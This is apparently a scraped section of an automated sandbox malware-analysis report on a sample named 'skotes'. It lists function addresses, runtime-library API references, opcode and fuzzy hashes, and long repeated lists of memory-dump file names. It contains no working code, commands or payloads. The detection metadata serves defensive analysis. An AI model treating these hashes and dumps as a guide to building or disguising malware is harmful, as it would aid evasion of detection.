Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 3b515c749ac26429eab911f8cdaa07bd1f3a6da302aeefc5b5e3428602947876
Instruction ID: d1b786fd5c10721cb5eaf9a1d0ba5ab175a3b72f32803c8d1a97bb0f514b4d72
Opcode Fuzzy Hash: 3b515c749ac26429eab911f8cdaa07bd1f3a6da302aeefc5b5e3428602947876
Instruction Fuzzy Hash: 9BF05936A00214A7CF20FA54DC83C9EB7F89E82B10B1081FDE40533291DF70AE05C6E2

Function 00BACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BACC66

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: aa4686e9587e7ded220a5291786af77e32d18c311b138c076df228285fc14472
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 2EB104329086859FDB15CF28C8817BEBFE5EF56350F1481FAE855EB242D6349D01CBA4

Function 00BB67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BB6902
__alloca_probe_16.LIBCMT ref: 00BB6998
__freea.LIBCMT ref: 00BB6A03
__freea.LIBCMT ref: 00BB6A0F

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 11ef97b9a8b88ebf45192f67876bef373fa206d2083e20f23fb48847c8afd5b6
Instruction ID: 90802b877fe9dc56c26a5a2dec83417fa07b9f38e859d4ef9d490dd1cb87d0a4
Opcode Fuzzy Hash: 11ef97b9a8b88ebf45192f67876bef373fa206d2083e20f23fb48847c8afd5b6
Instruction Fuzzy Hash: 0781A072D002499BDF219EA58C81EFE7BE5EF49314F1941E6E854B7281E7B9CC40CBA0

Function 00BA504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BA5115
___AdjustPointer.LIBCMT ref: 00BA5138
___AdjustPointer.LIBCMT ref: 00BA51D4

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4fdbe6d751ea0ad4542f8b9232809378e9a759743343b517ad174f400e1c2f95
Instruction ID: e910d7ec11d7e784d1ee9b40920f403df6cacb8df18ed531359a77231e44568c
Opcode Fuzzy Hash: 4fdbe6d751ea0ad4542f8b9232809378e9a759743343b517ad174f400e1c2f95
Instruction Fuzzy Hash: 3A510572609A06AFDB349F14D881BBAB3F5EF12300F1445EDE901A76A0E731EE40CB90

Function 00BA4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00BA4C66
TypeidsEqual.LIBVCRUNTIME ref: 00BA4C8B
PMDtoOffset.LIBCMT ref: 00BA4CA1
PMDtoOffset.LIBCMT ref: 00BA4D22

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 68f4b2a8f4809e83f26f29c798e362bda9b6289c7009383153d58dd923bca983
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 99518B35A082099FDF11CF68C4816EEBBF5EF96364F1444EAE890A7351D7B2AE05CB50

Function 00B72EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B72F5F
GetCurrentThreadId.KERNEL32 ref: 00B72F7E
__Mtx_unlock.LIBCPMT ref: 00B72FCC
__Cnd_broadcast.LIBCPMT ref: 00B72FE3

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
